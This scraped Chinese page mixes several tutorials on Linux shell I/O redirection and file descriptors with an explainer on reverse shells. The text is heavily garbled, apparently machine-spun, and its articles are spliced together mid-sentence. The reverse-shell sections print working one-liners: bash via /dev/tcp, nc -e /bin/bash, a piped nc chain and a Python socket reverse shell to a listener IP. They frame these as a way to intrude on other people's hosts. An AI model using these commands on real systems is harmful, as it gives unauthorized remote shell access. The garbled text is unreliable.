您的位置:新葡亰496net > 电脑系统 > 新葡亰496net干净搞懂shell的高档I,输入输出重定

新葡亰496net干净搞懂shell的高档I,输入输出重定

发布时间:2019-07-14 22:08编辑:电脑系统浏览(103)

    前言

    bash&shell体系小说:http://www.cnblogs.com/f-ck-need-u/p/7048359.html**

      Linux重定向是指修改原本默许的一部分东西,对原来系统命令的暗中同意推行格局展开改变,比方说简单的小编不想见见在显示屏的输出而是期待输出到某一文书中就足以经过Linux重定平素举办那项职业。


    前几天在看spark stream的sample样例的时候看到linux的万金油命令nc。寻觅相关的原委顿然发掘一个很有意思的用处正是反弹shell.下边大家就来说讲反弹shell


      Linux默许输入是键盘,输出是显示屏。你能够用重定一直退换那个设置。比方用wc命令的时候自然是要手动输入一篇文字来总计字符数的,用了重定向后得以平素把一个曾经写好的文本用‘<’指向那条命令,就直接能够总结这些文件的字符数等了。输出也是一律,你能够把荧屏输出重定向到贰个文本里,再到文件里去看结果。重定向操作符能够用来将下令输入和出口数据流从暗许地点重定向到其余职位,其输入或输出数据流的职位称为句柄;常见的句柄有两种,当然句柄能够自动增添,一般的OS都提供类似的法力。句柄 句柄代号 句柄描述

    在领悟重定向从前,我们先来拜候linux 的文件汇报符。

    当大家在渗透Linux主机时,反弹叁个互相的shell是格外有须要的。在索求引擎上搜寻关键字“Linux 反弹shell”,会并发一大堆相关著作,可是其内容不止雷同,况兼都只是是报告大家实行那一个命令就能够反弹shell了,却并未有一篇作品介绍那个命令究竟是什么贯彻反弹shell的。既然大腕们无心科学普及,那本人就只能本人入手了。本文就来研究一下城门失火命令达成的原理。

    1. 如何是反弹shell

    核心的重定向成效大概都知情。本文对shell情形下的IO重定向稍作深远,相信看完后,能够通透到底领略 >file 2>&1 。

      STDIN 0 键盘输入

    linux文件呈报符:能够精通为linux追踪展开文件,而分红的二个数字,那么些数字有一点点类似c语言操作文件时候的句柄,通过句柄就足以兑现公文的读写操作。 用户能够自定义文件陈诉符范围是:3-num,这一个最大数字,跟用户的:ulimit –n 定义数字有提到,不可能超越最大值。

     

    简单来说的话就是A主机能够通过执行B主机上的授命况且把重临值都回去到A上。

    1.1 文件陈述符(file description,fd)

    文本汇报符是IO重定向中的主要概念。文件叙述符使用数字代表,它指明了数额的流向特点。

    软件设计感到,程序应该有二个数码来自、数听大人说话和告诉错误的地方。在Linux系统中,它们分别采纳描述符0、1、2来代表,那3个描述符暗中同意的靶子文件(设备)分别是/dev/stdin、/dev/stdout、/dev/stderr,它们分别是种种终端字符设备的软链接。

    [root@mariadb ~]# ll /dev/std*
    lrwxrwxrwx 1 root root 15 Apr  2 07:57 /dev/stderr -> /proc/self/fd/2
    lrwxrwxrwx 1 root root 15 Apr  2 07:57 /dev/stdin -> /proc/self/fd/0
    lrwxrwxrwx 1 root root 15 Apr  2 07:57 /dev/stdout -> /proc/self/fd/1
    
    [root@mariadb ~]# ll /proc/self/fd/
    total 0
    lrwx------ 1 root root 64 Apr  6 03:53 0 -> /dev/pts/2
    lrwx------ 1 root root 64 Apr  6 03:53 1 -> /dev/pts/2
    lrwx------ 1 root root 64 Apr  6 03:53 2 -> /dev/pts/2
    lr-x------ 1 root root 64 Apr  6 03:53 3 -> /proc/14038/fd
    

    在Linux中,每一个过程打开时都会活动得到3个公文呈报符0、1和2,分别代表行业内部输入、标准输出、和标准错误,假若要开荒别的文件,则文件陈述符必须从3上马标志。对于我们人为要开荒的描述符,提议接纳9以内的描述符,当先9的描述符大概早已被系统之中分配给别的进程。

    文件陈说符说白了便是系统为了追踪那些张开的文本而分红给它的三个数字,这几个数字和文书绑定在同步,数据流入描述符的时候也代表流入文件。

    而Linux中万物皆文件,这个文件都得以分配描述符,包括套接字。

    程序在开垦文件叙述符的时候,有三种或许的行事:从描述符中读、向描述符中写、可读也可写。从lsof的FD列能够见见程序张开那些文件是为着从中读数据,仍然向里面写多少,亦恐怕既读又写。比方,tail命令监察和控制文件时,正是开辟文件从中读数据的(3r的r是read,w是write,u是read and write)。

    [root@mariadb ~]# lsof -n | grep "/a.sh" | column -t                 
    tail  13563  root  3r  REG  8,2  182  69632966  /root/a.sh
    

      STDOUT 1 输出消息到提拔符窗口

     

    Bash

    2. 反弹shell的用途

    1.2 文件陈说符的复制(duplicate)

    文本叙述符的复制表示复制文件陈述符到另二个文件叙述符中以作别本文件。使用"&"实行复制。假如不佳明白复制的野趣,将其了然为"绑定"、"重用"。

    [n]<&word :将文件描述符n绑定到word 代表的文件或描述符。可以理解为文件描述符n重用word代表的文件或描述符。n不指定则默认为0(标准输入就是0),表示标准输入也将输入到word所代表的文件或描述符中。
    
    [n]>&word :将文件描述符n绑定到word 代表的文件或描述符。可以理解为文件描述符n重用word代表的文件或描述符。n不指定则默认为1(标准输出就是1),表示标准输出也将输出到word所代表的文件或描述符中。
    

    注意,每绑定一遍,都会立刻重定向到对应的文书。请结合上面包车型客车事例感受。

    诸如, 3>&1 表示fd=3绑定到fd=1上,而fd=1方今的重定向指标文件是/dev/stdout,因而fd=3也重定向到/dev/stdout,以往进程将数据写入fd=3的时候,将直接出口到显示器。要是用"复制"来掌握,正是fd=3是时下fd=1的三个别本,即指向/dev/stdout设备。假如前面改变了fd=1的出口目的(如file1),由于fd=3的目标如故是/dev/stdout,所以能够拿fd=3来回复fd=1使其目的变回/dev/stdout。

    再譬喻, cat <&1 表示fd=0绑定到fd=1上,而此刻fd=1的重定向文件是/dev/stdout,因而此时/dev/stdout既是明媒正娶输入设备,也是明媒正娶输出设备,也正是说进度从/dev/stdout(显示屏)接受输入,输入后再从来出口到/dev/stdout。以下是结果:

    [root@mariadb ~]# cat <&1
    q   # 进入交互式,输入数据
    q   # 直接输出
    

      STDE奥迪Q3途乐 2 输出错误消息到升迁符窗口

    linux运转后,会暗中同意展开3个文件描述符,分别是:标准输入standard input 0,准确输出standard output 1,错误输出:error output 2


    以此反弹shell超越八分之四用场是用来入侵旁人的主机。正是因为以为异常的厉害的楷模,所以才来钻探这厮

    1.3 重定向顺序很关键:">file 2>&1"和"2>&1 >file"

    莫不很三人都知晓 >file 2>&1 的功用,它相当于于 &>file ,表示行业内部输出和规范错误都重定向到file中。那它和 2>&1 >file 有何分别吧?

    先是解释 >file 2>&1 。这里分八个进程:先开荒file,再将fd=1重定向到file文件上,那样file文件就成了职业输出的输出指标;之后再将fd=2绑定(注意,是绑定不是重定向)到fd=1上,而fd=1此时早已重定向到file文件上,由此fd=2也重定向到file上。所以,最后的结果是正经输出重定向到file上,规范错误也重定向到file上。

    再解释 2>&1 >file 。这里也分七个经过:先将fd=2绑定到fd=1上,而此刻fd=1重定向的文件是私下认可的/dev/stdout,所以fd=2也重定向到/dev/stdout;之后再将fd=1重定向到file文件上(注意,不是绑定是重定向)。约等于说,这里的专门的学问错误和正式输出如故是分手输出的,只可是是应用/dev/stdout替代了/dev/stderr,使用file代替了/dev/stdout。所以,最后的结果是正规错误输出到/dev/stdout,即显示屏上,而职业输出将出口到file文件中。

    可以使用上边包车型大巴指令来测验 2>&1 >file 。第叁个ls命令是没有错的,结果输出到/tmp/a.log中,第叁个ls命令是错误的,结果将一向出口到显示屏上。

    [root@mariadb ~]# ls /boot 2>&1 >/tmp/a.log
    [root@mariadb ~]# ls sjdfk 2>&1 >/tmp/a.log
    ls: cannot access sjdfk: No such file or directory
    

    最后,恐怕你早已意识了,绑定和重定向是见仁见智的,绑定不该叫做重定向。区分那多少个概念,在其实使用的经过中能化解这些多的狐疑。在本文结尾的末段三个例子中,你将能特别醒目地体会到绑定和重定向的差别。

      暗中同意的 < 重定向输入操作符是 0,而私下认可的 > 重定向输出操作符是 1。键入 < 或 > 操作符之后,必须钦点数量的读写地方,能够是文本名或任何现存的句柄。

    然后展开文件后。新扩大文件绑定描述符 能够依次扩张。 一条shell命令试行,都会持续父进程的公文陈诉符。因而,全数运营的shell命令,都会有私下认可3个文本呈报符。

    那篇小说的缘起正是英特网给的Bash反弹shell的完毕:

    3. 反弹shell操作步骤

    1.4 改造近日shell景况的重定向指标

    假若在指令中一向改换重定向的岗位,那么命令奉行完结的时候描述符会自动恢复生机。正如上面的 ls /boot 2>&1 >/tmp/a.log 命令,在ls试行完结后,fd=2还原回默许的/dev/stderr,fd=1还原回暗许的/dev/stdout。

    而是大家得以通过exec程序直接在此时此刻的shell情状下更动重定向指标,唯有在现阶段shell退出的时候才会放出描述符的绑定。

    比如:上面包车型大巴吩咐将行业内部错误fd=2重定向到fd=3对应的公文上。

    exec 2>&3
    

    因而,我们或然在一段程序实施完结后,需求将汇报符还原到原位,并关闭不再必要的陈述符。毕竟描述符也是能源,是少数的(ulimit -n)。

      要钦命重定向到存活句柄,请使用与 & 字符,前边接要重定向的句柄号(即 &句柄号)。

     

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    

    3.1. 在本机开启端口9090

    1.5 关闭文件陈诉符

    [n]>&-
    [n]<&-
    

    关门文件叙述符的议程是将 [n]>&word 和 [n]<&word 中的word使用标识"-",那意味释放fd=n描述符,且关闭其针对性的公文。

    譬如,下边包车型地铁授命能够将句柄 2(即 STDELAND讴歌RDX)重定向到句柄 1(即 STDOUT):2>&1

    对于别的一条linux 命令实施,它会是那般一个历程:

    会见那短小一行代码,正在复习Linux,自己感到突出的自身当即充满了挫败感,那都以些什么鬼。于是决定必须要搞掌握它。

    nc -lk 9090 
    

    1.6 展开文件

     [n]<> filename :打开filename,并钦命其文件汇报符为n,该描述符是可读、可写的陈诉符。若不点名n则默以为0,若filename文件不设有,则先创设filename文件。

    例如:

    [root@mariadb ~]# exec 3<> /tmp/a.log
    [root@mariadb ~]# lsof -n | grep "/a.log" | column -t 
    bash  13637  root  3u  REG  8,2  292018  69632965  /tmp/a.log
    

    设若再 exec 1>&3 将fd=1绑定到fd=3上,那么/tmp/a.log就成了正规输出的对象。

      下表列出了可用于重定向输入和出口数据流的操作符:

     

    率先,bash -i是开辟三个互相的bash,这些最简便易行。大家先跳过“>&”和“0>&1”,那三个是本文注重,等会再说。先来讲“/dev/tcp/”。

    3.2. 在急需被调控的机器上实行如下三种命令中的一种就能够

    1.7 文件陈诉符的移动

    文本呈报符的位移表示将文件陈述符1移动到描述符2上,同期关闭文件陈诉符1。

     [n]>&digit- :将文件陈诉符digit代表的输出文件移动到n上,并关闭digit值的描述符。

     [n]<&digit- :将文件陈诉符digit代表的输入文件移动到n上,并关闭digit值的描述符。

    例如:

    [root@mariadb ~]# exec 3<> /tmp/a.log
    [root@mariadb ~]# lsof -n | grep "/a.log" | column -t 
    bash  13637  root  3u  REG  8,2  292018  69632965  /tmp/a.log
    [root@mariadb ~]# exec 1>&3-  # 将3移动到1上,关闭3
    [root@mariadb ~]# lsof -n | grep "/a.log" | column -t   # 在另一个bash窗口查看
    bash  13637  root  1u  REG  8,2  292018  69632965  /tmp/a.log
    

    看得出,fd=3移动到fd=1后,原来与fd=3关联的/tmp/a.log已经提到到fd=1上。

      Linux重定向操作符 作用描述

    新葡亰496net 1

     /dev/tcp/是Linux中的八个分裂平常器材,展开这一个文件就也正是产生了一个socket调用,构造建设一个socket连接,读写这些文件就也就是在这几个socket连接中传输数据。同理,Linux中还留存/dev/udp/。

    bash -i >& /dev/tcp/10.0.0.1/9090 0>&1 
    

    1.8 杰出示例

    (1). 示例一:

    以下是《Advanced Bash-Scripting Guide》中的示例:

    echo 1234567890 > File # (1).写字符串到"File".
    exec 3<> File          # (2).打开"File"并且给它分配fd 3.
    read -n 4 <&3          # (3).只读4 个字符.
    echo -n . >&3          # (4).写一个小数点.
    exec 3>&-              # (5).关闭fd 3.
    cat File               # (6).1234.67890
    

    (1)向文件File中写入多少个字符。

    (2)张开文件File以备read/write,并分配fd=3给该公文。

    (3)将fd=0绑定到fd=3上,而fd=3的重定向指标为File,所以fd=0的指标也是File,即从File中读取数据。这里读取4个字符,由于read命令中绝非点名变量,因而分配给暗中同意变量REPLY。注意,这一个命令奉行完成后,fd=0的重定向指标会变回/dev/stdin。

    (4)将fd=1绑定到fd=3上,而fd=3的重定向指标文件为File,所以fd=1的靶子也是File,即数据写入到File中。这里写入三个小数点。注意,那一个命令停止后,fd=1的重定向指标回变回/dev/stdout。

    (5)关闭fd=3,那也会关闭其针对性的公文File。

    (6)File文件中早已写入了贰个小数点。若是此刻施行 echo $REPLY ,将出口"1234"。

    (2). 示例二:关于陈说符恢复生机、关闭

    exec 6>&1                   # (1)
    exec > /tmp/file.txt        # (2)
    echo "---------------"      # (3)
    exec 1>&6 6>&-              # (4)
    echo "==============="      # (5)
    

    (1)首先将fd=6绑定到fd=1,此时fd=1的重定向指标为/dev/stdout,因而fd=6的重定向目的为/dev/stdout。

    (2)将fd=1重定向到/tmp/file.txt文件。此后颇具标准输出都将写入到/tmp/file.txt中。

    (3)写入数据。该多元帅写入到/tmp/file.txt中。

    (4)将fd=1绑定回fd=6,此时fd=6的重定向指标为/dev/stdout,因而fd=1将上涨到/dev/stdout上。最后将fd=6关闭。

    (5)写入数据,这段数据将出口在屏幕上。

    想必您会纳闷,为何要先将fd=1绑定到fd=6上,再用fd=6来还原fd=1,复苏的时候一贯将fd=1重定向回/dev/stdout不就足以了啊?

    实则,这里借用fd=6这当中间转播描述符是为了便于操作。你能够不要它,不过在平复fd=1的重定向目的的时候,应该重定向到/dev/{伪终端字符设备}上,实际不是/dev/stdout,因为/dev/stdout是软链接,其指标指向/proc/self/fd/1,但该文件大概软链接,它指向/dev/{伪终端字符设备}。同理/dev/stdin和/dev/stderr都没有差距。

    为此,假使您日前所在的终极如若是pts/2,那么能够运用下边包车型地铁命令来完结地点同样的意义:

    exec > /tmp/file.txt
    echo "---------------"
    exec >/dev/pts/2
    echo "==============="
    

    假如不借用fd=6那一个中间转播描述符,你要先去赢得并记住当前shell所在的极端,很不便于。而且,假如要回涨的不是fd={0,1,2},那就更麻烦。

    终极给张描述符复制、复苏的进度示例图:

    新葡亰496net 2

      > 将指令输出写入文件或设施,实际不是命令提醒符或句柄

     

    要想询问“>&”和“0>&1”,首先大家要先了然一下Linux文件陈诉符和重定向。

    3.3. 在本机刚才实践nc -lk 9090命令行上面输入须要被决定的主机的通令就可以

      < 从文件而不是从键盘或句柄读入命令输入

    两个发令实践了:

    linux shell下常用的文件陈说符是:

    新葡亰496net 3

      >> 将下令输出增加到文件末尾而不删除文件中已部分新闻

    先有一个输入:输入能够从键盘,也能够从文件得到

    1.  行业内部输入   (stdin) :代码为 0 ,使用 < 或 << ; 

    4. 原理

      >& 将二个句柄的输出写入到另三个句柄的输入中

    指令实践到位:成功了,会把成功结果输出到显示屏:standard output暗中同意是显示屏

    2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ; 

    1. A主机开启9090端口的tcp服务
    2. B主机连接到A主机的9090的tcp服务
    3. A主机通过tcp服务把命令发到B主机
    4. B主机读取命令况且在bash中实行
    5. B主机把实行理并了结果发给A主机

      <& 从一个句柄读取输入并将其写入到另三个句柄输出中

    指令实践有不当:会把错误也出口到荧屏方面:standard error默许也是指的显示器

    3.  正规错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

    如此那般就足以在A主机中'吐槽'B主机了

      | 从一个发令中读取输出并将其写入另一个限令的输入中;也称得上管道操作符

     

    非常多素材都会报告我们,2>&1是将规范错误输出合併到正式输出中,然而那多个暗号具体要什么晓得吧?作者刚开头平素将2>看做规范错误输出,将&看做and,将1看做正规输出。那样敞亮好像也挺对,不过如果是这么的话0>&1又该怎么知道啊?

    上面重视来了

      今后大家回过头来看看下边包车型大巴那条语句mysh > mylog.txt 2>&1就可分晓:

    文本输入输出由追踪为二个加以的历程具备打开文件的整数句柄来产生。这么些数字值就是文本陈述符。最为大家所知的公文米描述符是 stdinstdout 和 stderr,文件陈诉符的数字分别是0,1和2。那一个数字和各自的道具是保留的。三个发令实施前,先会希图好全数输入输出,暗中同意分别绑定(stdin,stdout,stderr),倘使那一年出现谬误,命令将适可而止,不会实行。命令剖判进程,可以参见:Linux Shell 通配符、元字符、转义符使用实例介绍

    骨子里&根本就不是and的意味,学过C/C 的都精晓,在这两门语言里,&是取地址符。在那边,大家也能够将它理解为取地址符。

    咱俩看那么些操作实际仍然蛮轻易的,可是我们无法只局限于外界。大家供给去询问它的规律

      > mylog.txt意思是将标准输出重定向到mylog.txt,等价于mysh 1> mylog.txt;

     

    好了,基本知识说完了,上面大家就追究一下烦劳了本身一天的“>&”毕竟是怎样看头。首先,小编在查资料的进程中尽管从未查到“>&”毕竟是什么样,但是有多少个跟它长得很像的号子却被作者开掘了,那正是“&>”,它和“2>&1”是叁个意思,都以将行业内部错误输出合併到正规输出中。难道“>&”和“&>”之间有怎么着不为人知的贸易?让大家来出手测量检验一下。

    其实nc -lk 9090发令没什么可说的,百度google一搜就出去了。大家明日要去解释的是bash -i >& /dev/tcp/10.0.0.1/9090 0>&1。那条命令在google也没搜出来什么结果。所以只可以和煦加夜班搞了。

      2 >& 1 野趣是将错误输出重定向到句柄1专门的工作输出;综合起来正是mysh命令试行进程中生出的正规化输出和不当输出都会被重定向到mylog.txt中;

    那些暗许的输出,输入都以linux系统钦点的,我们在应用进度中,有的时候候并不期望推行结果输出到荧屏。笔者想出口到文件或其余设备。这年我们就供给开展输出重定向了。

    新葡亰496net 4

    inux shell下常用的公文陈说符是:

      重定向的成效非常强劲,有意思味的能够去尝尝各个分歧的组成,看看前后地点变下会有怎样结果?

     

    从图片中大家得以看到,在此处">&"和“&>”效率是一模二样的,都是将规范错误输出定向到规范输出中。

    1. 正式输入 (stdin) :代码为 0 ,使用 < 或 << ;
    2. 行业内部输出 (stdout):代码为 1 ,使用 > 或 >> ;
    3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

      某个时候我们或许并不指望记录什么正儿八经输出只怕是荒唐输出,那能够用mysh >null 2>null只怕mysh >/dev/null 2>/dev/null;

    linux shell下常用输入输出操作符是:

    既是,那么大家就把他们交换试试看,毕竟结果一不均等。

    率先大家把那个命令拆解一下

      I/O重定向详解

    1.  标准输入   (stdin) :代码为 0 ,使用 < 或 << ; /dev/stdin -> /proc/self/fd/0   0代表:/dev/stdin 
    2.  正式输出   (stdout):代码为 1 ,使用 > 或 >> ; /dev/stdout -> /proc/self/fd/1  1意味:/dev/stdout
    3.  行业内部错误输出(stderr):代码为 2 ,使用 2> 或 2>> ; /dev/stderr -> /proc/self/fd/2 2代表:/dev/stderr

    自个儿在虚构机里实行

    bash -i # 这个也不知道说啥  >& # 这条命令 其实就是把stderr也输入到 stdout。它相当于 `> xxx 2>&1`  /dev/tcp/10.0.0.1/9090 # 这个就是连接到10.0.0.1的9090端口  0>&1 # 这个在google百度上查了半天也没搞懂,只能去研究文档  
    

      1、 基本概念(那是精晓后边的知识的前提,请务必精晓)

     

    bash -i >& /dev/tcp/10.0.42.1/1234
    

    实际上前面3个指令组合在协同很好掌握,正是把这一个bash下的具有出口都发送到 10.0.0.1:9090。那个我们能够本身操作一下,去掉前边的 0>&1。

    新葡亰496net干净搞懂shell的高档I,输入输出重定向。  a、 I/O重定向平时与 FD有关,shell的FD日常为11个,即 0~9;

     

    结果如下图所示,即便三令五申和结果都在笔者本机上显得出来了,但实在命令而不是在本机上输入的,而是只好在设想机里面输入,然后命令和结果都在本人本机上呈现。

    大家在命令里面写 2>&1都很好通晓,即是把error重定向到stdout。可是0>&1好像不太好明白,大家看下文件叙述符

      b、 常用FD有3个,为0(stdin,标准输入)、1(stdout,标准输出)、2(stderr,规范错误输出),默许与keyboard、monitor、monitor有关;

     

    新葡亰496net 5

    新葡亰496net 6

      c、 用 < 来退换读进的数码信道(stdin),使之从钦点的档案读进;

     

    新葡亰496net 7

    此处看看的是2>&1正是把文件陈述符2对应的设备改成了文本陈述符1对应的装置。那么同理 0>&1正是把 0对应的配备改成的1对应的器材,那也正是socket。那就标志了 stdin正是从socket中读取数据,然后再实践命令,把bash的命令行重回内容通过stdout发到socket。

    新葡亰496net干净搞懂shell的高档I,输入输出重定向。  d、 用 > 来改换送出的多少信道(stdout, stderr),使之输出到钦赐的档案;

    #显示当前目录文件 test.sh test1.sh test1.sh实际不存在
    [chengmo@centos5 shell]$ ls test.sh test1.sh
    ls: test1.sh: 没有这个文件和目录
    test.sh
    
    #正确输出与错误输出都显示在屏幕了,现在需要把正确输出写入suc.txt
    # 1>可以省略,不写,默认所至标准输出
    [chengmo@centos5 shell]$ ls test.sh test1.sh 1>suc.txt
    ls: test1.sh: 没有这个文件和目录
    [chengmo@centos5 shell]$ cat suc.txt
    test.sh
    
    #把错误输出,不输出到屏幕,输出到err.txt
    [chengmo@centos5 shell]$ ls test.sh test1.sh 1>suc.txt 2>err.txt
    [chengmo@centos5 shell]$ cat suc.txt err.txt
    test.sh
    ls: test1.sh: 没有这个文件和目录
    #继续追加把输出写入suc.txt err.txt  “>>”追加操作符
    [chengmo@centos5 shell]$ ls test.sh test1.sh 1>>suc.txt 2>>err.txt
    
    #将错误输出信息关闭掉
    [chengmo@centos5 shell]$ ls test.sh test1.sh 2>&-
    test.sh
    [chengmo@centos5 shell]$ ls test.sh test1.sh 2>/dev/null
    test.sh
    #&[n] 代表是已经存在的文件描述符,&1 代表输出 &2代表错误输出 &-代表关闭与它绑定的描述符
    #/dev/null 这个设备,是linux 中黑洞设备,什么信息只要输出给这个设备,都会给吃掉
    
    #关闭所有输出
    [chengmo@centos5 shell]$ ls test.sh test1.sh  1>&- 2>&-
    #关闭 1 ,2 文件描述符
    [chengmo@centos5 shell]$ ls test.sh test1.sh  2>/dev/null 1>/dev/null
    #将1,2 输出转发给/dev/null设备
    [chengmo@centos5 shell]$ ls test.sh test1.sh >/dev/null 2>&1
    #将错误输出2 绑定给 正确输出 1,然后将 正确输出 发送给 /dev/null设备  这种常用
    <p>[chengmo@centos5 shell]$ ls test.sh test1.sh &>/dev/null
    #& 代表标准输出 ,错误输出 将所有标准输出与错误输出 输入到/dev/null文件
    </p>
    

    大家再进行

    实在这几个内容都足以在bash的man pages里面找到

      e、 0 是 < 的暗中同意值,因而 < 与 0<是相同的;同理,> 与 1> 是一律的;

     

    bash -i &> /dev/tcp/10.42.0.1/1234
    

    新葡亰496net 8

      f、 在IO重定向 中,stdout 与 stderr 的管道会先绸缪好,才会从 stdin 读进资料;

    &>/dev/null 等价于 >/dev/null 2>&1

    注意:

    1、shell蒙受”>”操作符,会咬定左边文件是或不是留存,假诺存在就先删除,並且创办新文件。不设有直接开立。 无论侧面命令试行是还是不是成功。侧面文件都会变为空。

    2、“>>”操作符,推断左侧文件,若是不设有,先创制。以增添格局张开文件,会分配二个文书叙述符[不特地钦赐,默以为1,2]下一场,与左侧的正规化输出(1)或错误输出(2) 绑定。

    3、当命令:实践完,绑定文件的陈述符也自动失效。0,1,2又会没事。

    4、一条命令运营,命令的输入,正确输出,错误输出,暗中认可分别绑定0,1,2文件描述符。

    5、一条命令在施行前,先会检查输出是不是正确,借使输出设备错误,将不会开始展览指令试行

     

    功效是一模一样的,就不上海体育场合了。所以由举行可见,“>&”和我们常见的“&>”是叁个乐趣,都以将标准错误输出重定向到标记输出。

    文书档案里面写的很清楚 n<&word 是吧word复制给n, n>&word是吧word复制给n。

      g、 管道“|”(pipe line):上四个限令的 stdout 接到下贰个限令的 stdin;

    好了,三个主题材料一度缓和,下二个便是“0>&1”。大家都通晓,标准输入相应是“0<”并非“0>”,难道那个跟上八个标题样都以同八个发令的例外写法?让大家试一下“0<&1”,看看会产生什么。

    就此那边写 0<&1 要么是 0>&1都是能够的,只要把公文呈报符1对应的装置复制给文件叙述符0就能够了

      h、 tee 命令是在不影响原来 I/O 的景况下,将 stdout 复制一份到档案去;

    新葡亰496net 9

    参照小说

      i、 bash(ksh)实行命令的进度:剖析命令-变量求值-命令代替(``和$( ))-重定向-通配符张开-分明路线-实施命令;

    新葡亰496net 10

    【编辑推荐】

      j、 ( ) 将 command group 置于 sub-shell 去施行,也称 nested sub-shell,它有少数那多少个关键的特点是:承袭父shell的Standard input, output, and error plus any other open file descriptors。

    在上海体育场合中我们获取了三个并行的shell。果然是这么!“0>&1”和“0<&1”是贰个意味,都以将标准输入重定向到专门的学业输出中。使用

      k、 exec 命令:常用来替代当前 shell 并再一次起动一个shell,换句话说,并不曾运行子 shell。使用这一命令时别的现存条件都将会被拔除。exec 在对文本陈诉符进行操作的时候,也只有在那儿,exec 不会覆盖你日前的 shell 景况。

    bash -i &> /dev/tcp/10.42.0.1 0<&1
    

      2、 基本IO

    一模二样能反弹三个可彼此的shell。

      cmd > file 把 stdout 重定向到 file 文件中;

    归咎,这句发号施令的意味正是,创造贰个可互相的bash和二个到10.42.0.1:1234的TCP链接,然后将bash的输入输出错误都重定向到在10.42.0.1:1234监听的历程。

      cmd >> file 把 stdout 重定向到 file 文件中(追加);

     

      cmd 1> fiel 把 stdout 重定向到 file 文件中;

    NetCat

      cmd > file 2>&1 把 stdout 和 stderr 一同重定向到 file 文件中;


      cmd 2> file 把 stderr 重定向到 file 文件中;

    假定指标主机补助“-e”选项的话,大家就足以一向用

      cmd 2>> file 把 stderr 重定向到 file 文件中(追加);

    nc -e /bin/bash 10.42.0.1 1234
    

      cmd >> file 2>&1 把 stderr 和 stderr 一同重定向到 file 文件中(追加);

    但当不帮助时,我们将在用到Linux奇妙的管道了。大家得以在协和机器上监听七个端口,

      cmd < file >file2 cmd 命令以 file 文件作为 stdin,以 file2 文件作为 stdout;

    nc -l -p 1234 -vv
    nc -l -p 4321 -vv
    

      cat <>file 以读写的方法张开 file;

    下一场在指标主机上实践以下命令:

      cmd < file cmd 命令以 file 文件作为 stdin;

    nc  10.42.0.1 1234  |  /bin/bash  |  nc 10.42.0.1 4321
    

      cmd << delimiter Here document,从 stdin 中读入,直至碰着delimiter 分界符。

    那时大家就可以在1234端口输入指令,在4321端口查看命令的出口了。

      3、 进阶IO

    管道“|”能够将上贰个命令的输出作为下三个命令的输入。所以地点命令的情趣正是将10.42.0.1:1234传过来的授命交给/bin/bash推行,再将实践结果传给10.42.0.1:4321出示。

      >&n 使用系统调用 dup (2) 复制文件陈述符 n 并把结果用作规范输出;

     

      <&n 标准输入复制自文件陈述符 n;

    Python

      <&- 关闭规范输入(键盘);


      >&- 关闭标准输出;

    python -c 
    import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("10.42.0.1",1234));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1); 
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/bash","-i"]);'
    

      n<&- 表示将 n 号输加入关贸总协定组织闭;

    python -c表示试行前边的代码。首先引进了多个库socket,subprocess,os,那多少个库前面都要选拔,然后创立了八个用到TCP的socket,接着实践connect函数连接到黑客主机所监听的端口。接着实施os库的dup2函数来开始展览重定向。dup2传入三个公文描述符,fd1和fd2(fd1是必须存在的),要是fd2存在,就关闭fd2,然后将fd1代表的那多少个文件强行复制给fd2,fd2那么些文件汇报符不会暴发变化,不过fd2指向的文书就变成了fd1指向的文书。 这么些函数最大的法力是重定向。三个dup2函数先后将socket重定向到专门的学业输入,规范输入,标准错误输出。最后建构了一个子进程,传入参数“-i”使bash以互动情势运营。这一年大家的输入输出都会被重定向到socket,骇客就足以实施命令了。

      n>&- 表示将 n 号输出关闭;

    新葡亰496net 11

      上述全体格局都得以指引贰个数字,此时创建的文书汇报符由那么些数字钦赐实际不是缺省的 0 或 1。如:

    新葡亰496net 12

      ... 2>file 运维八个限令并把错误输出(文件叙述符 2)定向到 file。

    大家得以观望成功的弹回了二个shell。

      ... 2>&1 运转二个指令并把它的科鲁班出和输出合併。(严刻的乃是通过复制文件汇报符 1 来确立文件呈报符 2 ,但效果平常是联合了四个流。)

     

      大家对 2>&1详细说喜宝(Beingmate)下 :2>&1 也正是 FD2=FD1 ,这里实际不是说FD2 的值 等于FD1的值,因为 > 是改造送出的多寡信道,也正是说把 FD2 的 “数据输出通道” 改为 FD1 的 “数据输出通道”。尽管单单那样,那些退换好像从没什么样意义,因为 FD2 的暗中认可输出和 FD1的暗许输出本来都以 monitor,同样的!然则,当 FD1 是其余文件,以致是其他 FD 时,那几个就有着非同小可的用途了。请大家必须理解那一点。

    总结

      exec 0exec 1>outfilename # 展开文件outfilename作为stdout。


      exec 2>errfilename # 展开文件 errfilename作为 stderr。

    在对音讯安全的学习中,大家要天天保持好奇心,多问为啥,要多去商量根本原理,实际不是只会采纳工具和死记硬背,碰着不会又搜不到答案的主题素材,我们要勇敢揣摸,小心求证,只有这么大家本领不断的进化,在音信安全的圈子越走越远。

      exec 0<&- # 关闭 FD0。

     

      exec 1>&- # 关闭 FD1。

     学习资料推荐>>>>>> 

      exec 5>&- # 关闭 FD5。

      Linux安全根基

      1    COMMAND_OUTPUT >
      2      # 重定向stdout到贰个文件.
      3      # 如果未有这一个文件就创办, 不然就覆盖.
      4
      5      ls -lR > dir-tree.list
      6      # 创造多个暗含目录树列表的文件.
      7
      8    : > filename
      9      # > 会把公文"filename"截断为0长度.
      10      # 假如文件官样文章, 那么就创办五个0长度的文书(与'touch'的功用等同).
      11      #新葡亰496net, : 是多个占位符, 不发出任何输出.
      12
      13    > filename   
      14      # > 会把公文"filename"截断为0长度.
      15      # 纵然文件不真实, 那么就创办贰个0长度的公文(与'touch'的机能同样).
      16      # (与上方的": >"效果一样, 不过在有个别shell下也许不可能职业.)
      17
      18    COMMAND_OUTPUT >>
      19      # 重定向stdout到一个文件.
      20      # 若是文件不设有, 那么就创制它, 要是存在, 那么就大增到文件前边.
      21
      22
      23      # 单行重定向命令(只会潜濡默化它们所在的行):

    Linux运转基础

      24      #

      25
      26    1>filename
      27      # 重定向stdout到文件"filename".
      28    1>>filename
      29      # 重定向并追加stdout到文件"filename".
      30    2>filename
      31      # 重定向stderr到文件"filename".
      32    2>>filename
